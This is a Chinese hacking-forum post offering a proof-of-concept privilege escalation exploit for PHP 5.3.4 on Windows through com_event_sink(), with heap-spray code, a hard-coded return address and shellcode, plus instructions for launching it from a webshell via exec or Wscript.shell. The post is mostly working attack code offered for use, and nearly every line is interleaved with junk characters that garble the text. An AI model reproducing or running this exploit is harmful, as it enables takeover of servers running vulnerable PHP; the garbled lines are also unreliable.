|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
! M2 U+ A3 P m7 H+ \5 g" L% I' u8 M) T) a' W: Y1 L9 }% g
测试方法如下:cmd /c x:\php\php.exe x:\test.php
$ F- U3 B# Z" u. P3 r2 z6 m) x
* b# X% {% y4 E$ Y9 f下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
4 x4 \0 C* }( k1 V/ }2 @' x; |这里是两个测试的截图:0 A( _/ m8 [2 b9 x9 e
( l- j1 M- H) M4 p3 C" l c0 D5 e4 h' D; }" m, t0 z: N( e
5 C- O4 V3 W7 D9 W* n3 d# i4 ]
- X; i x0 u% b) V6 M" ?
- R% T, s* r, V" P9 P成功利用此漏洞的攻击者将获得系统的最高权限+ T6 S$ z) a* {8 ?$ m
' ~- w, {* U9 P* j- e
1 V5 x0 |& Y8 L9 j+ j! T9 Y; K
8 \5 t O0 {/ y- q
4 m+ V1 d" ^0 K( _1 N
* W7 _3 f( U8 e) n1 I9 x( h7 U关于漏洞分析稍后附上。一下是PoC代码:
5 [& n1 n3 @! x9 ~4 w; j! b$ \' V/ j# w) q6 X/ ~
<?php
8 R; r" _/ M% |0 {3 e5 J8 N//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞2 I- p- b( L: W( O
//$eip ="\x44\x43\x42\x41";7 ^$ v( ?- P& w6 l) O7 G( i$ y
$eip= "\x4b\xe8\x57\x78";
' s" X# U: U. l o: t! M ?9 ]3 J$eax ="\x80\x01\x8d\x04";! A" V& d8 e# g( d! v" B6 _, x3 @
$deodrant="";
. q8 y" g/ t7 s( ^! h( O$axespray = str_repeat($eip.$eax,0x80); Q) s3 Q% R: D4 L$ [7 t
//048d0190
1 e9 o2 l* P: M9 u: _2 Wecho strlen($axespray);
' G" F/ N7 i3 o5 p% Necho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";. n+ t6 Y6 b3 B) H# E! H3 q
echo "Silic Group Hacker Army - BlackBap.Org";8 w- I8 p H4 l2 i# ]7 v _0 n
//19200 ==4B32 4b00" R' |) }8 [# E* S1 _! H
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
F+ b0 i; Q) o& ?! {5 T$ D" N$terminate = "T";
( @* g2 V5 R! y9 _$u[] =$deodrant;% i9 M1 P/ e- R( m9 G- ^
$r[] =$deodrant.$terminate;9 i$ Z" E0 T$ s1 s5 E- P
$a[] =$deodrant.$terminate;
/ u* a8 ^: r8 q. f; T& K$s[] =$deodrant.$terminate;) w! ?& ?( c2 i. t# M+ n0 `9 S7 x
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
& r8 `, \3 [0 p- a ?; P$vVar = new VARIANT(0x048d0000+180);
: i2 y# c, H; }8 |//弹窗代码(Shellcode)
. g7 G& S& a1 Q9 V7 p; K$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";8 z# G8 r( F( h7 \
$var2 = new VARIANT(0x41414242);
5 Q; u4 q, Q/ q4 mcom_event_sink($vVar,$var2,$buffer); T) A- Y% U* L( _! D
?>
0 d: B) l$ ~4 Z! [% E A) O" k |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|